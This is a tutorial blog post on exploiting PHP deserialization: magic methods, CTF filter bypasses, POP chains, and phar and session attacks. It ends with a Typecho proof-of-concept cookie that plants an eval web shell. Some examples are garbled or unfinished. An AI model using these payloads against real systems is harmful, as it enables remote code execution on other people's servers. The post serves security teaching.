The Various Utilization Methods of PHP Serialization & Deserialization

Serialize() & Unserialize()

PHP uses two functions to serialize and deserialize data: serialize() formats the object into an ordered string unserialize() restores the string to the original object.

Php Deserialization

PHP deserialization is a necessary basis for code auditing, and this knowledge point is a standing knowledge point for ctf competitions. Because PHP objects need to express more content, there will be a basic format for basic type expression, which is roughly divided into six types.

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

Example

<?php class message{
public $from='d';
public $msg='m';
public $to='1';
public $token='user';
}
$msg= serialize(new message);
print_r($msg);
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
<?php
class test{
public $a;
public $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}
<?php
class test{
protected $a;
private $b;
function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

Deserialization Vulnerabilities and Magic Methods

There is often no suitable utilization chain in the actual digging process, which requires the use of native classes that come with PHP itself. Here are some magic methods that deserialization exploits.

__wakeup() // While executing unserialize(), this function will be called first
__sleep() // When serialize() excuted,this function will be called first
__destruct() // Trigger when the object is destroyed
__call() // Triggered when an inaccesible method is called in the object context
__callStatic() // Triggered when an inaccesible method is called in a static context
__get() // This method is called for reading data from inaccesible properties or if the key doesn't exist
__set() // Use to write data to inaccesible properties
__isset() // Triggered by calling isset() or empty() on an inaccesible property
__unset() // Triggered when unset() is used on a inaccesible property
__toString() // Triggered when the class is used as a string
__invoke() // Triggered when trying to call an object as a function
__construct() // Triggered when the object is created

Deserialization Exploit (Bypass)

Php7.1+ deserialization is not sensitive to class attributes. We said earlier that if the variable is protected, the serialization result will add x00*x00 to the variable name

<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
?>
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

Final Payload:

<?php
class FileHandler {
public $op=2;
public $filename="/var/www/html/flag.php";
public $content;
}
$a=new FileHandler;
echo serialize($a);

?>

Bypass Some Regex

preg_match(‘/^O:d+/’) Matches whether the serialized string starts with an object string. We have two ways to bypass deserialization:

Use the plus sign to bypass

$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; 
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));

Serialize(array(a))

//a is the object to be deserialized (the serialization result starts with a, which does not affect the destructuring of $ an as an array element)

serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){

if($this->a===$this->b){
echo 666;
}
}

}
$a = serialize(new test());

Hexadecimal Bypass Character Filtering

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
can be written as
O:4:"test":2:{S:4:"�0*�061";s:3:"abc";s:7:"%00test%00b";s:3:"def";}When the s representing the character type is capitalized, it will be parsed as hexadecimal.

Deserialization Character Escape

The principle of deserialization character escape is to use the characters existing in the title to filter and replace, resulting in more or fewer characters after filtering. to escape the string. For these two situations, also made an image metaphor: inserting and pulling out (shy). I feel very untouched.

<?php
function change($str){
return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "deserialize string:";
var_dump(serialize($arr));
echo "<br/>";
echo "at this time:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>at this time,age=$new[1]";
name=maoxxxxxxxxxxxxxxxxxxxx(20个x)";i:1;s:6:"woaini";}(20 characters)
name=maoxxxxxxxxxxxxxxxxxxxx(20个x)";i:1;s:6:"woaini";}
name=maoxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(40个x)
";i:1;s:6:"woaini";}
i:1;s:6:"woaini";

Example: Deserialization character less escape case

<?php
function change($str){
return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "deserialize string:";
var_dump(serialize($arr));
echo "<br/>";
echo "after filtering:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>at this time,age=";
echo $new['age'];
?>

Pre-knowledge: extract() variable coverage

if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);

}
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
<?php
header("Content-type:text/html;charset=utf-8");

echo "Before adding the attribute img";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
var_dump( serialize($_SESSION));

echo "After adding the attribute img";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
?>

Object Injection

unserialize() Vulnerabilities arise when user requests are not properly filtered before being passed to the deserialization function. Because PHP allows object serialization, an attacker could submit a specific serialized string to a unserialize function with the vulnerability, resulting in the injection of an arbitrary PHP object within the scope of the application. Object injection is similar to a process of variable overwriting with deserialization magic.

<?php
class A{
var $test = "y4mao";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

Deserialize POP Chain Construct

At this point, you must review the knowledge of the PHP magic method mentioned earlier in the article

__wakeup() // While executing unserialize(), this function will be called first
__sleep() // When serialize() excuted,this function will be called first
__destruct() // Trigger when the object is destroyed
__call() // Triggered when an inaccesible method is called in the object context
__callStatic() // Triggered when an inaccesible method is called in a static context
__get() // This method is called for reading data from inaccesible properties or if the key doesn't exist
__set() // Use to write data to inaccesible properties
__isset() // Triggered by calling isset() or empty() on an inaccesible property
__unset() // Triggered when unset() is used on a inaccesible property
__toString() // Triggered when the class is used as a string
__invoke() // Triggered when trying to call an object as a function
__construct() // Triggered when the object is created
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
public function __toString(){
return $this->str->source;
}
unserialize()-->wakeup()-->construct()-->tostring()-->get()-->invoke()-->append()-->include()
<?phpclass Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
$this->str =new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier;
}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
?>

PHP Native Class Deserialization Utilization

SoapClient Deserialization

To be continued, allow me to make a splash first

phar deserialization

In software, a PHAR (PHP Archive) file is a packaging format that enables the distribution of applications and libraries by bundling many PHP code files and other resources (such as images, style sheets, etc.) into a single archive. A phar file is essentially a compressed file that stores user-defined meta-data in serialized form. When the affected file manipulation function calls the phar file, the content within the meta-data is automatically deserialized.

Stream Wrapper

PHP implements complex file processing functions through user-defined and built-in “stream wrappers”. Built-in wrappers are available for filesystem functions such as (fopen(), copy(), file_exists() and filesize()). phar:// is a built-in stream wrapper.

file:// — access the localsystem, this wrapper is used by default when using filesystem functions
http:// — access HTTP(s) URLS
ftp:// — access FTP(s) URLs
php:// — access to various(I/O streams)
zlib:// — compressed stream
data:// — data(RFC 2397)
glob:// — finding match
phar:// — PHP archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — audio stream
expect:// — handle interactive streams

phar format

stub: The flag of the phar file, must end with xxx __HALT_COMPILER();?>, otherwise it will not be recognized. xxx can be custom content. manifest:phar file is essentially a compressed file, in which the permissions, attributes, and other information of each compressed file are placed in this part. This part also stores user-defined meta-data in serialized form, which is the core of the exploit. content: the content of the compressed file signature (nullable): the signature, placed at the end.

<?php
class Test {//customize
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //The suffix must be phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //set up stub
$o = new Test();
$phar->setMetadata($o); //Store custom meta-data in manifest
$phar->addFromString("test.txt", "test"); //Add files to compress
//Signature automatic calculation
$phar->stopBuffering();
?>

Exploit Conditions

The phar file must be able to be uploaded to the server. Have magic methods available as “springboards”.

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //set up stub
2、generate一个phar.phar,Modify the suffix to phar.gif

Session Deserialization

Session in a computer, especially in a web application, is called “session control”. The Session object stores the properties and configuration information required for a specific user session. This way, the variables stored in the Session object are not lost or changed as the user navigates between the application’s Web pages. When a user requests a web page from an application, if the user does not have a session, the web server will automatically create a Session object, and when the session expires or is abandoned, the server will automatically destroy the session.

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
session.save_path="" --set up session storage path                                        
session.save_handler=""–Set a user-defined storage function. If you want to use PHP's built-in session storage mechanism, you can use this function (database, etc.)
session.auto_start boolen–Specifies whether the session module starts a session at the beginning of the request. Defaults to 0 and does not start
session.serialize_handler string–Defines the handler name used for serialization/deserialization. Use by default php

Case: Simple use of session deserialization

To understand why session vulnerabilities occur, we must first understand how serialization is handled in the session mechanism.

php_binary: The storage method is, the ASCII character corresponding to the length of the key name + the key name + the value serialized by the serialize() functionphp:The storage method is, key name + vertical bar + value processed by serialize() function sequencephp_serialize(php>5.5.4):The storage method is that the value serialized by the serialize() function

Sample Source Code

1. php

<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name."!";
}
}
?>

Attack Idea:

1. First generate a serialized string

<?php
class student{
var $name;
var $age;
}
$a = new student();
$a->name = "daye";
$a->age = "100";
echo serialize($a);
?>
O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}
|O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

Advanced case: Deserialization attack using session.upload_progress

The exploit condition is mainly the existence of session deserialization vulnerability.

php5.5.38
win10
session.serialize_handler=php_serialize,
The rest of the session related configuration is the default value
<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle=new TimeNow();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "time of your visit:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
$this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
}
function action() {
eval($this->ip);
}
}
?>

Typecho Deserialization Vulnerability Recurrence

Typecho is a lightweight open-source blogging program with a robust kernel, easy extension, friendly experience, and smooth running. Based on PHP5 development, use multiple databases (Mysql, PostgreSQL, SQLite) to store data. Released under the GPL Version 2 license, it is an open-source program with a wide range of applications.

Vulnerability introduction and reproduction

Typecho blog software has an arbitrary code execution vulnerability caused by deserialization. Malicious visitors can use this vulnerability to execute code without restrictions and obtain a web shell, which poses a high-security risk. By using the install.php page, a malicious request package can be directly and remotely constructed to realize remote arbitrary code execution, causing serious security risks to the business.

POC

Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://IP/install.php

Reference Link

--

--

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
TutorialBoy

TutorialBoy

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.